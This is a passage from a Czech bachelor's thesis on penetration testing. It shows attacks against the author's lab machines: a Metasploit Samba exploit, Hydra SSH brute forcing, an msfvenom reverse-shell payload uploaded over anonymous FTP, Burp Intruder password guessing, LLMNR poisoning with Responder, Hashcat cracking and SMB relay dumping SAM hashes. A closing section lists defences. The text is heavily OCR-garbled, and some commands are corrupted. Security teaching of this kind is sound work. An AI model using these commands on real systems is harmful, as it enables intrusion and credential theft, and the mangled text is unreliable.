vytvofen. Samoziejm¢é pokud se jedna o lépe zabezpefeny systém, tyto jednoduché
zranitelnosti nebudou existovat. Ale v nasem piipadé¢ jsme jich par nalezli, takze nejdiive
provedeme metodiku, kdyz slabiny existuji.

Znovu zde vyuzijeme nastroj Metasploit, tentokrat ne ke skenovani, ale provedeni
exploit. V pfedchozi ¢asti metodiky jsme nasli, Ze existuje slabina pro Samba sluzbu, a to
vzdalené preteCeni vyrovnavaci paméti. Po jednoduchém nastaveni spustime program
trans2open, ktery se pomoci brute force utoku snazi vratit rizné adresy.

Jesté je nutné pochopit ¢tyti zakladni pojmy, se kterymi pii exploit pracujeme.
4.6.1 Reverse shell vs Bind shell

Reverse shell znamena, Ze se obét’ pfipoji na nds. Tedy na naSem pocitaci otevieme port,
na kterém budeme poslouchat a poté obét’ po doruceni payload se na nas piipoji.
Bind shell je opak. Tedy otevie port u obéti, na ktery se nasledné piipojime. Dle mych

zkuSenosti reverse shell je daleko Castéjsi, ale je dobré znat rozdil.

4.6.2 Non-staged payloads vs Staged payloads

Non-staged payloads Staged payloads
Posle ho cely v kuse Payload se posila po ¢astech
Je velikostné vétsi, a ne vzdy funguje M¢ng stabilni
Windows/meterpreter_reverse_tcp Windows/meterpreter/reverse_tcp

Pravé v naSem piipad€ pii spuSténi programu trans2open zjistime, Ze se session otevie,
ale nasledn¢ ihned zavie. Tedy postup dobry, ale spojeni se neudrzi. Je nutné premyslet nad

tim, co by se dalo zménit. Kdyz se podivame na nastaveni, zjistime, Ze payload je nastaven na
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Staged. Po zméné payload se nam jiz spojeni otevie a zlstane otevieno. Po napsani ptikazu
whoami zjistime, ze se nam jiz povedlo ziskat pfistup do systému.

Obrazek 7 nastroj Metasploit - spusténi programu trans2open, zdroj: autor

msf5 exploit( )} > set payload linux/x86/shell_reverse_tcp
payload => linux/x86/shell_reverse_tcp
msf5 exploit( ) > run

Started reverse TCP handler on 192.168.1.146:4444

192.168.1.35:139 - Trying return address @xbffffdfc...

192.168.1.35:139 - Trying return address Oxbffffcfc...

192.168.1.35:139 - Trying return address @xbffffbfc...

192.168.1.35:139 - Trying return address @xbffffafc...

Command shell session 9 opened (192.168.1.146:4444 -> 192.168.1.35:32841) at 2020-02-24 21:02:00 +0100

Kdyz jsme jiz v systému, existuje mnoho dalSich véci, které miizeme provadét, jako
tieba zkusit ptikazy ifconfig, arp, route, sudo -I. Nebo se zaméfit na slozky passwd a shadow.
Kde se nachazi ptihlasovaci jména a hesla v hash kodu. Ale to jiz patii do rozSifené;si
metodiky.

Pokud se nam pfi skenovani a enumeration nepodafi nalézt zadné slabiny, nezbyde jina
moznost nez zkusit vyuzit metodu brute force. To znamena hrubou silou. Tedy existuje n¢jaky
slovnik hesel, které¢ ndsledné zkusime aplikovat na nas cil. V nasem ptipadé to mizeme vyuzit
zrovna na sluzbu SSH. SlouZi ndm k tomu nastroj hydra také jiz predinstalovany. Staci zadat
jednoduchy ptikaz, definovat mu cestu ke slovniku hesel, o jakou sluzbu se jedna a spustit.
Poté se jiz d4 do prace. V momenté, kdy uzivatel vyuziva opravdu silné heslo, tento zptisob
nebude uspésny. Navic vyvola velky ruch a spravny admin by si toho okamzité v§imnul. Ale
jako penetracni tester neni naSim cilem skryvat své aktivity, a proto minimalné za zkousku to
stoji.

Obrizek 8 nastroj Hydra -Brute force SSH, zdroj: autor

:~# hydra -1 root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.35:22 -t &4 -V
Hydra v9.9 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-02-24 21:19:00
[DATA] max & tasks per 1 server, overall & tasks, 14344399 login tries (1:1/p:14344399), ~3586100 tri
[DATA] attacking ssh://192.168.1.35:22/

[ATTEMPT] target 192.168.1.35 - login "root" pass "123456" - 1 of 14344399 [child @] (@/0)

[ATTEMPT] target 192.168.1.35 - login "root" pass "12345" - 2 of 14344399 [child 1] (e/0)

[ATTEMPT] target 192.168.1.35 - login "root" - pass "123456789" - 3 of 14344399 [child 2] (e/e)
[ATTEMPT] target 192.168.1.35 - login "root" - pass "password" - &4 of 14344399 [child 3] (@/0)
[ATTEMPT] target 192.168.1.35 - login "root" pass "iloveyou" - 5 of 14344399 [child 1] (@/0)

Pouze ukazka toho, jak tento nastroj funguje. K loginu root ptifazuje jednotlivé vSechna
dostupna hesla ve word listu. Jesté na zavér bych dodal, Ze existuje x verzi word listd. Cim
obsahlejsi, tim veétsi Sance, ze se tam zrovna to spravné heslo bude vyskytovat. Pochopitelné
¢im vice hesel, tim delSi doba hledani. My vyuzili word list rockyou.txt ktery obsahuje
14344399 kombinaci. A primérny pocita¢ dokdze pouze 32 kombinaci za minutu. Proto
tento zpusob neni opravdu ten vhodny. Pokud by se nam podatilo zjistit n¢jaka ukradena

hesla, ¢i bychom byli schopni vytvofit n¢jaké vzory hesel, které lidé ve firmé vyuzivaji, Sance
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by rostla. Ale zde zalezi, jak jsme uspéli pfi pasivnim i aktivnim prizkumu. My nevyuzivame
zadné realné sluzby, proto nemtizeme takovyto word list ani informace vyuzit.

Ziskani pristupu pomoci http. V piedchozi fazi jsme nasli dvé zranitelnd mista. Prvni
bylo za pouziti http a FTP. Jiz vime, Ze miizeme nahrat soubory na server. To vyuZzijeme k
tomu, abychom nahrali payload. Ten si ale musime vytvofit. Existuji stovky navoda. Slouzi k
tomu nastroj Msfvenom, coz je vlastné payload generator. Pomoci —p uréime, jaky payload
chceme. Jestli chceme reverse shell nebo bind shell, zda pouzijeme non-staged payload nebo
staged. Vime, Ze¢ na naSem testovacim zafizeni bézi http s opera¢nim systémem Windows.
Sami bychom nedokazali vymyslet, jak pfesné payload vytvofit, ale to nastésti nemusime. K

tomu existuje internet. Sta¢i jen zadat Msfvenom cheet sheet asp a najde ndm to x navodu.

msfvenom -p windows/meterpreter/reverse tcp LHOST=<Your IP Address>
LPORT=<Your Port to Connect On> -f asp > shell.asp

V tomto piikazu definujeme, Ze se jedna o reverse shell. Tedy my budeme cekat na
daném portu, az se na nas obét’ pfipoji. Vytvoieny soubor shell.asp nahrajeme do FTP. Tento
soubor jesté musime néjak spustit, to uz je velmi jednoduché. V momentg, co je uzivatel na
webovém serveru, staci pfijit na IP adresu/jméno souboru a program se spusti. V tomto
pfipad¢ se ale nic nestalo. Protoze nefunguje asp, ale musi se dat aspx. Po spusténi jiz

opraveného souboru my jen c¢ekdme na portu, az se obét  pripoji.

[*] Started reverse TCP handler on 10.10.14.10:4444

[*] Sending stage (180291 bytes) to 10.10.10.5

[*] Meterpreter session 1 opened (10.10.14.10:4444 -> 10.10.10.5:49158)
at 2020-02-25 12:34:32 +0100

meterpreter > getuid

Server username: I1IS APPPOOL\web

meterpreter > getsystem

[-] priv_elevate getsystem: Operation failed: Access 1is denied. The
following was attempted:

[-] Named Pipe Impersonation (In Memory/Admin)

[-] Named Pipe Impersonation (Dropper/Admin)

[-] Token Duplication (In Memory/Admin)

V prvni ¢asti vidime, Ze se pfipojeni povedlo. V druhé ¢asti jsme se podivali, zda mame
administratorskd prava. BohuZel nemame, nasim dal§im krokem bylo pokusit se je ptikazem
getsystem ziskat. To skoncilo neuspéchem. Nastésti nastroj meterpreter umoziuje piipojeni
dat do pozadi a spustit rizné programy, které jsou vytvoreny za ucelem ziskani informaci, 0
jiz napadeném systému. Mezi n¢ patii napiiklad program Suggestor, ktery sesbira mozné
lokalni zranitelnosti. A jiZ jsme znovu V sesbirani informaci a hledéni, jak tyto informace

vyuzit k nasemu prospéchu.
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[*] 10.10.10.5 - Collecting local exploits for x86/windows...

[*] 10.10.10.5 - 29 exploit checks are being tried...

[+] 10.10.10.5 - exploit/windows/local/msl10 015 kitrapOd: The service
is running, but could not be validated.

Naslo to mnohem vice zranitelnosti, ale uvadim zde pouze pro ptiklad. Toto téma je tak
rozsahlé, da se délat x véci. Se ziskdnim piistupu do serveru to nekonci. Je nutné pak znovu
shromazd’ovat informace, snazit se ziskat lepsi pravomoci atd. Bohuzel vSe nejde pokryt v
jedné praci. A proto soucasti mé metodiky jiz neni co délat dal po tispé$Sném ziskani ptistupu.

V druhé ¢asti http vyuzijeme nastroj Burpsuite, také jiz dostupny v Kali Linuxu. Pro jeho
spravné¢ fungovani je potieba provést spravné nastaveni. Nastavit webovému prohlizeci
spravnou proxy a stahnout certifikat. Tento néstroj je dostupny jak ve free, tak placené edici.
Ve free verzi je velmi osekany, n€které funkce nejsou vitbec dostupné a pii vyuziti Gtoku je
jeho rychlost zpomalena. Pro nase testovani nam stacila free edice, ale pokud bychom se m¢li
vénovat penetracnimu testovani aktivné, rozhodné se vyplati zaplatit plnou edici. Tento
nastroj slouzi k prizkumu a zméné komunikace mezi uZivatelem a webovym serverem.
Umoziuje také n€kolik dalSich funkci, které zde postupné zminim.

V momenté, co zapneme tento nastroj, zacne odchytdvat komunikaci mezi nami a
strankou, kterou navstivime. V nasem pfipad¢ chceme vidét, jak probihd komunikace, kdyz
odesleme ptihlasovaci Gdaje. Zadame faleSné jméno 1 heslo a odeSleme pozadavek. V tu chvili
vidime, jak Burpsuite zachytil nasi komunikaci.

Obrazek 9 nastroj Burpsuite - zachyceni komunikace, zdroj: autor

GET /manager/html HTTP/1.1

Host: 10.10.10.595:8080

User-Agent: Mozilla/S.0 (X11; Linux xB86 64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.10.10.95:8080/

Connection: close

Upgrade-Insecure-Requests: 1

Authorization: Basic dGItY2FoonRvbwWhhda==

Z tohoto obrazku vycteme, Ze jde o ptihlasovani a tidaje jsou kodovany pomoci base64.
To ndm ale Upln€ nestaci, pottebujeme védet, v jakém presném formatu se tyto piihlaSovaci
udaje odesilaji, abychom si byli schopni upravit nas word list. Tedy musime toto zachyceni
odeslat do dekodéru. To je také soucasti nastroje Burpsuite. A diky tomu se dozvime, ze heslo
je odeslano ve formatu jmeno:heslo. Kdyz vime toto, jiz ndm staci si na§ word list pfipravit ve

stejném stylu.
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admin:password YWRtaW4 6cGFzc3dvemQ=
admin: YWRtaW4 o6
admin:Passwordl YWRtaW4 6UGFzc3dvemQx
admin:passwordl YWRtaW4 6cGFzc3dvemQx
admin:admin YWRtaWd 6YWRtaWi=

Prvni obrazek ukazuje uryvek word listu, pfipraveny ve spravném formatu. Ale abychom
mohli tyto udaje zkusit odeslat na webovy server, musime je jesté pievést do spravného kodu
tedy base64. Ktomu jsme vyuzili jakykoliv online enkodér na internetu. A vysledek je
V obrazku dva.

V momenté, kdy mame piipraveny word list, mizeme vyuzit dalsi funkce nastroje
Burpsuite a to Intruder. Zde miZeme nastavit typ Gtoku: Zvolime Sniper, protoze tento typ
utoku pouziva pouze jeden payload. A jelikoz jméno i1 heslo médme v jednom zakodovaném
fetézci, vice jich nemdme. Kdybychom heslo a jméno méli rozdé€lené, vyuzijeme utok typu
Cluster bomb.

Obrazek 10 nastroj: Burpsuite - Cluster bomb, zdroj: autor

Request | Payload | Status | Error | Timeout | Length
20 dGotY2F00OnMzY3|ldA== 200 O 0 17345

S YWREaWAEYWRLaWd= 403 L L 3513

0 401 O [] 28138

1 YWRtaWd6cGFzc3dvern Q= 401 L L 2838

2 YWRLaWAE 401 L L 2838

3 YWREaWAEUGFze3dvemQx 401 L L 2838

V tomto piipad¢ zde server vyuziva zakladni heslo, takze se nam ho povedlo odhalit. Z
vysledku lze vycist hned nékolik informaci. Nastroj nam ukazuje status: 200 — ok, 400 —
client error. Také ndm ukazuje délku, i podle toho se daji vyfiltrovat odlisné vysledky.
Veétsinou u téch, které probéhly s chybou 400, najdeme velmi kratkou délku. Oproti tomu ty
uspésné, jak je vidét na obrazku, maji daleko vétsi délku. V momenté, co jsme ziskali heslo
do webového serveru, mizeme piremyslet o nahrani néjakého payloadu, abychom ziskali

pfistup k serveru. Ale podobny zptlisob byl jiz ukdzan v predchozim piikladu.
4.7 Zavér externiho testovani

Az do této Casti se ma prakticka ¢ast zabyvala penetracnim testovanim sité¢ externé. Tedy
kdyZ neméame piimy pfistup do sit€. Rozhodné se neda fici, Ze se zde probralo tplné€ vse. To
ani nejde, vzdy budou existovat nové a nové zpisoby. V této Casti byla pouze poukdzéana

metodika penetracniho testovani, doporuceno, na co se zaméfit a predvedend mozna
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nastroje, ktery by kazdy spravny penetracni tester mél znat.
Soucasti mé metodiky je také Reporting, ten ale pfipojim az na Uplny zavér spolecné s

internim testovanim.

4.8 Interni penetracni testovani

Pro interni penetracni testovani ptipravime svoje virtualni zafizeni. Vytvotime Si jeden
Windows Server, ktery bude slouzit jako DNS pod jménem: SERVER-PC a dva pocitace:
POCITACJED, POCITACDVA. DNS server ma doménu FIRMA.local. Do této domény
vytvofime dva uzivatele: ujedna, udva. Prvni uzivatel m4 heslo Password1 druhy Mojeheslo2.
Administrator serveru ma heslo: P@$$wO0rd!

K pocitaci jedna prifadime jako lokdlniho admina ujedna, u pocitace dva jsou lokalnimi
adminy jak ujedna, tak udva.

Pfi internim penetraénim testovani je bézné, Ze mame pocita¢ piipojeny do firemni sité.
Nedostaneme zadné piihlasovaci udaje nebo jakékoliv jiné informace. V této casti je
predstavena metodika penetraéniho testovani, jak ziskat uzivatelské udaje a pristup do
pocitacu.

Prvnim zplsobem, jak ziskat udaje, je vyuzit LLMNR Poisoning. To funguje na
principu, ze se obét’ chce piipojit k ur€itému serveru. V nasem firemnim prostiedi mame
sdilenou slozku slozka. Misto toho ale uZivatel hleda slozku sloka. V ten okamZzik DNS server
nezna odpovéd’ a odpovi, Ze o tomto serveru nic nevi. Od uZzivatele se vysle zprava, zda nékdo
sloka neznd a nevi, kde ho nalezne. My jen ¢ekame, az k nam tento dotaz dojde a poté
fekneme, at’ ndm zasle jeho hash a poté ho pfipojime. Obét’ nam hash zasle. K tomu abychom
mohli vystupovat, Ze zname odpovédi, vyuzijeme nastroj Responder. Tento ndstroj d¢la
presné to, co bylo popsano vyse. Dobry zpiisob je tento néstroj pustit hned rano nebo tésn¢ po

obé&dé¢, protoze to je nejveétsi aktivita na siti.

43



[*] [LLMNR] Poisoned answer sent to 192.168.1.57 for name 1

[*] [MDNS] Poisoned answer sent to 192.168.1.57 for name 1.local
[*] [LLMNR] Poisoned answer sent to 192.168.1.57 for name 1

[SMB] NTLMv2-SSP Client : 192.168.1.57

[SMB] NTLMv2-SSP Username : FIRMA\ujedna

[SMB] NTLMv2-SSP Hash

ujedna: :FIRMA:ee942£852af0£856:56989802EA06DD7E73A5C483CFFED163:01010000
00000000C0653150DE09D201336B094260C8F046000000000200080053004D0042003300
01001E00570049004E002D00500052004800340039003200520051004100460056000400
140053004D00420033002E006C006F00630061006C0003003400570049004E002D005000
52004800340039003200520051004100460056002E0053004D00420033002E006C006F00
630061006C000500140053004D00420033002E006C006F00630061006C0007000800C065
3150DE09D20106000400020000000800300030000000000000000000000000200000E99F
553489B6DC7BA12896CO9D74A1EED420D29925290A9107D328169EFCAS5B910A0010000000
000000000000000000000000000009000C0063006900660073002F003100000000000000
0000

Pokud se zadafi, vysledek bude vypadat néjak podobng€. Docteme se z ného doménu a
jméno uzivatele a jeho hash. Po uspésném odchyceni hashe existuje vice variant, co s nim
udé€lat. Nejprve ho zkusime cracknout. Tedy budeme spoléhat na to, ze lidé pii tvorbé hesel
nejsou moc origindlni a pokud firemni politika co se tyce tvorby hesla, neni tak pfisna,
muzeme se dockat uspéchu. V tomto piikladu jsme zachytili pouze jeden hash, ale pokud se
jedné o velikou firmu, mohlo by se jednat o podstatné vice nalezi. VSechny tyto hashe si
ulozime do souboru a ptipravime je pro dalsi néstroj coz je Hashcat.

Hashcat je nastroj pro offline crackovani hashe. Obsahuje 276 rtiznych hash druht. Pro
spravné cracknuti musime védét, jaky hash jsme ziskali. K tomu mizeme pouZit nastroj v
Kali Linuxu hash-identifier, ale ten nam zatim ani jednou spravny hash neodhalil. Ale existuje
nékolik online identifikatort, ktefi s timto problémem mohou pomoci. Na§ hash je
NetNTLMv2.

V néstroji Hashcat je mozné nastavit, zda bude pouzit zpiisob Utoku za pouziti word
listu, brute-force nebo hybrid. Pokud se nam povede sestavit vlastni word list, opét je zde
nejvetsi Sance na uspéch. Pokud uzivatelé pouzivaji slaba hesla i obecny word list miize uspét.
Brute-Force je opét nejzdlouhavéjsi zptisob a pii silném heslu je odhaleni skoro nemozné.
Také je moZné nastavit hybridni zplsob utoku tak, Ze se vyuZziji slova z wordlistu a za n¢ se
pomoci hrubé sily vygeneruji dalSi znaky. Piiklad: password0000, password000a, ...,
ahoj0000, ahoj000a.

Jak jsem uvedl na zacatku, dali jsme uzivateli ujedna velmi jednoduché heslo, a to
Passwordl. Diky tomu s tim nastroj Hashcat nemél zadny problém a jiz béhem 5 vtetfin mél
uspesny vysledek. Pomoci brute force metody to jiz trvalo 6 minut. Je to jen diky tomu, ze
jsme stanovili, Ze prvni znak je velké pismeno, dalSich 7 znak malé a posledni znak je &islo.

Pokud bychom nastavili, Ze hledame 8 velkych nebo malych pismen a 9. znak je ¢islo, projet

44



vSechny mozné varianty by na mém notebooku trvalo 15 let. Samoziejmé pokud bychom
tento program pustili na stolnim pocitaci s externi grafikou, cely vypocet by byl daleko
rychlejsi. A tento nastroj existuje 1 pro Windows, takze umoznuje tento zptisob.

Misto pokusu cracknout ziskany hash mtizeme zkusit metodu SMB Relay. To vlastné
vyuziva protokol pro sdileni soubori SMB. A snazi se ziskané hashe pfenést do dalSich
zafizeni. Pro to, aby tento utok byl Uspés$ny, jsou zapotiebi dvé véci: SMB ptihlaSovani na
cilovém zafizeni musi byt vypnuto a uzivatel, od kterého mame hash, musi byt na cilovém
zafizeni admin. Z tohoto divodu jsme na druhém pocita¢i ptidélili prava jak prvnimu
uzivateli, tak druhému. ProtoZe se ndm povedlo ziskat hash od uzivatele* ujedna, ktery je také
lokélnim adminem na druhém pocitaci, mizeme premyslet nad timto titokem.

Abychom si ovéfili, zda opravdu SMB piihlaSovani neni aktivni, vyuzijeme jiz znamy
nastroj pro skenovadni Nmap a jeho dalsi funkci, pouziti skriptd. Pomoci ptikazu: nmap —
script=smb2-security-mode.nse -p445 IP sité ziskame vysledek:

Obriazek 11 nastroj Nmap - SMB prihlasovani 1, zdroj: autor

Mmap scan report for POCITACJED (192.168.1.57)
Host is up (0.00053s latency).

PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:8C:29:64:E4:A2 (VMware)

Host script results:

| smb2-security-mode:

| 2.02:

|_ Message signing enabled but not required

Obrazek 12 nastroj Nmap - SMB pfihlasovani 2, zdroj: autor

Mmap scan report for SERVER-PC (192.168.1.90)
Host is up (0.015s latency).

PORT STATE SERVICE
L445/tcp open microsoft-ds
MAC Address: 0@:0C:29:70:62:B8 (VMware)

Host script results:

| smb2-security-mode:

| 2.02:

|_ Message signing enabled and required

Na prvnim obrazku vidime, ze POCITACJED pitihlaSovani nevyzaduje, zatimco DNS
server vyzaduje. Tedy utok na DNS server by nebyl mozny, ale na obycejné pocitace v této
siti ano.

Pro tento utok jsme znovu pouzili nastroj Responder, ktery tentokrat bude spolupracovat
s dalSim nastrojem, a to ntlmrelayx.py. Ten ma za ukol rozeslat hash na urcené cilové
zafizeni. Pokud se povede zachytit hash jako v pfedchozim piipad€, ntlmrelayx.py posle

zachyceny hash na cilové zatfizeni. Pokud zde existuje stejny uzivatel, kterému jsme hash
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zachytili, navaze spojeni. Jestlize je ke vSemu uzivatel lokalni administrator, tento nastroj
vytdhne lokalni SAM. SAM je vlastné databaze, kterda ve Windows uchovava uzivatele a
jejich hesla v hash Sifrovani. Diky tomuto utoku se nam povedlo ziskat dalsi hash, ktery

muzeme podrobit stejnému postupu, jako dosud.

Obriazek 13 SAM hashes, zdroj: autor

[#] Dumping local SAM hashes (uid:rid:1lmhash:nthash)
Administrator:500:aad3b435b514B4eeaad3b4a35b51404ee:31d6cfeld16ae931b73c59d7e0c@B9cO: : :
lGuest:531:aad3b435bﬁlﬂﬁﬂeeaadeﬂBSbﬁiﬂﬁﬂee:31d6cfeﬁd1639931b?3c59d?eﬁc689cﬁ:::

DefaultAccount:503:aad3b435b51404eeaad3bs3sbs1404ee:31docfeddloae931b73c59d7e0c@89¢cO: 1 :
WDAGUt1lityAccount:504:aad3b435b51404eeaad3bs35b51404ee: 6ce81bf9abe57272499F7a519740d6b4: : :
Uzivatel Dva:1001:aad3b435b51404eeaad3b435b51404ce: 4FBa42675F4c2262c8bbeb72aadBab74:::

4.9 Report

Posledni fazi mé metodiky penetracniho testovani je report. Tato faze je stejné dulezita
jako vSechny pfedchozi. Je nutné si vSechny nalezy zaznamendavat. At jiZ jde pouze o stopu,
ktera nas pfi testovani zavedla dale, nebo ptfimo o slabinu, ktera zapfticinila priinik do serveru.
Tato zprava se poté pieda firm¢, ktera si penetracni testovani najmula a diky témto poznatkiim

muze zapracovat na tom, aby se l1épe zabezpecili.
4.9.1 Zhodnoceni nalezenych rizik

Uzivatelé vyuzivali velmi slaba hesla. Kdybychom méli doporuéit, bezpecné heslo by
bylo alespont 14 znakti dlouhé. Neméli by vyuzivat zadnd znamé slova, zadné osobni
informace. Soucésti by mélo byt par specialnich znakl, mald, velkd pismena a ¢isla. V tom
ptipad¢é pouhou metodou brute force by se jednalo o prolomeni v fadu let. Ale uzivatelé vzdy
budou nezodpovéedni, nebudou chtit vyuzivat tak silna hesla a budou volit znamé fraze, ¢ast
svych telefonnich ¢isel, rok narozeni svych déti atd. Firma se mtiZze branit pouze tim, ze
nastavi takovou interni politiku, aby uzivatele donutila alespoii nékteré ¢asti splnit.

Dal8i moZnou obranou, jak zamezit prolomeni hesel, je nastavit maximalni pocet
ptihlaSovani. Pokud se pfesdhne x netispéSnych piihlaseni, dojde k zablokovani Gctu.

V na$i ukdzce byly také vyuzity vychozi prihlaSovaci udaje k pouZzivanym sluzbam.
Pokud toto nékdo dopusti, pfimo si fikd o to, aby béhem par klikli Gtocnik ve svém utoku
uspél. Tyto zakladni udaje neni vhodné nikde nechavat a okamzité je nutné je zménit.

Systémy byly zastaralé. Prichodem nové aktualizace samoziejmé vznikd riziko z
nezndma. Pfi aktualizaci mohou nastdvat nechténé problémy, ale zarovenn jsou klicové k

bezpecnosti serveru. Cim star$i systémy jsou, tim je daleko vétsi Sance, ze dojde k objeveni

né¢jaké slabiny, kterou plijde zneuzit.
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Mozny vzdaleny piistup pomoci FTP protokolu jako anonym a pravomoc k tomu, aby
bylo mozné néco nahrat. Za zadnou cenu by nikdo, kdo nema diivod a své ptihlaSovaci udaje,
nemé¢l mit moznost dostat se na vzdaleny server a uz viibec ne schopnost nahravat soubory.

Moznost provést LLMNR Poisoning. Branit se proti tomuto typu ttoku je jednoduché,
sta¢i vypnout sluzbu LLMNR a NBT-NS. Pokud to neni mozné nebo chténé, dobrym
zabezpeCenim muze byt aktivovat fizeni pfistupu k siti. Samoziejmé poslednim velmi
dalezitym prvkem je, jak jsem jiz zminil, silné heslo.

Moznost provést SMB Relay. Obranou proti tomuto utoku je: Zapnout SMB ovétovani
na vSech zafizenich, ale to mize zpomalit rychlost pfendseni souborti. Dal$Sim ze zptsobt je
omezit Doménové adminy pouze pro ucely, ke kterym jsou nutné, abychom nebyli schopni

zachytit hash od nich. Dalsi obranou je, aby lokalnimi administratory nebyli bézni uzivatelé.
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5 Zavér

Penetracni testovani siti méa za ukol zvysit bezpecnost firemni sité. Jednd se o velmi
aktudlni téma, existuje mnoho zprav o tom, jak doslo k napadeni serveru, k odcizeni dat, ¢i
jen jejich poskozeni.

Bakalatska prace byla rozdé€lena do tfi fazi. Hlavnim cilem bylo vytvofeni metodiky a
aplikovani na konkrétnim ptikladu. K tomu jsem vyuzil virtudlni stroje, které byly k tomuto
ucelu vytvofené, a pro interni testovani jsem si vytvofil svij virtualni Windows server s
uzivateli a pocitaci. Druhym cilem bylo analyzovat a vybrat vhodné nastroje pro kazdou fazi
vychézejici z metodiky. Poslednim cilem bylo upozornéni na mozna rizika.

V penetraénim testovani nelze nalézt presny navod, jak postupovat a dospét k uspéchu.
Kazdy novy cil ma upln¢ jiné slabiny, vyuziva jiné sluzby. A proto jsem ve své praktické ¢asti
vytvofil metodiku, kterou jsem nésledné aplikoval na konkrétnich ptikladech, a poukazal na
to, jak by se dalo postupovat.

Metodika vytvotfena v této bakaldiské praci se od ostatnich lisi tim, ze se drzi myslenky,
ze sbér informaci je pro uspésné penetracni testovani to nejdilezitéjsi. Proto dva ze ¢ty bodi
se vénuji pasivnimu a aktivnimu sbéru informaci. Diky tomu je v této metodice dostatek
prostoru pro popsani konkrétnich ptipadii na co se zaméfit. JSou vybrany ty nastroje, které
byly nésledné pouzity pii aplikovani této metodiky na konkrétnim ptikladu.

Pro kazdou fazi byly popsany mozné nastroje, které se daji vyuzit. Ale v prabchu
testovani se ukazalo, Ze v n&kterych piipadech dal§i nastroj naSel jeSté jinou dileZitou
informaci. Diky tomu jsou v metodice vybrany ty nastroje, které byly pouzity ale zmifluje 1
dalsi. Neni vhodné upnout se pouze na jeden nastroj a jiny ani nevyzkouset. Jak bylo v praci
poznamenano, spravny penetracni tester musi umét hledat co nejvice informaci a vyuzivat k
tomu co nejvice dostupnych zdroji. Jenom tak ma Sanci narazit na nedostatky serveru.

Z informaci vychazejicich z praktické c¢éasti bakaldiské prace lze dojit k néazoru, Ze
nejveét§im rizikem jsou lidi. Pokud je dobie zabezpefen server a systémy jsou pribézné
aktualizovany, jsou moznosti napadeni serveru minimdlni. Ale lidem stac¢i poslat jeden
nevhodny soubor, ktery ze zvédavosti stahnou, a jiz se nam podafi zajistit si piistup do jejich
pocitace. Tim se ndm oteviou dvete k dal§im moznym Utokiim a pfipadnému ziskéani ptistupu
k celému serveru. Také je mozné snazit se od lidi ziskat udaje. Pouzivaji slaba hesla. Na
zakladé vysledk je doporuceno nastavit pfisna interni pravidla, jak v zakazu stahovani
soubort do firemni sité, tak vyzadovani siln¢j$iho hesla a upozoriiovani zaméstnanci na

mozna rizika.
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Bakalaiska prace splnila vSechny vyty¢ené cile a umozni piipadnym zijemcim o
penetracni testovani rozsifit si své znalosti o metodiku, ktera popisuje detailni postup sbéru
informaci a ziskani pfistupu, informuje, na jaké sluzby se zaméfit a umoziuje dozvédét se,
jaké nastroje je K tomu vhodné pouzit. A také z druhé stranky poukazuje na to, v ¢em jsou
mozna rizika a jak takovy uto¢nik mize pfemyslet. To je pfinosné pro firmy, které si chtéji

1épe zabezpecit server.
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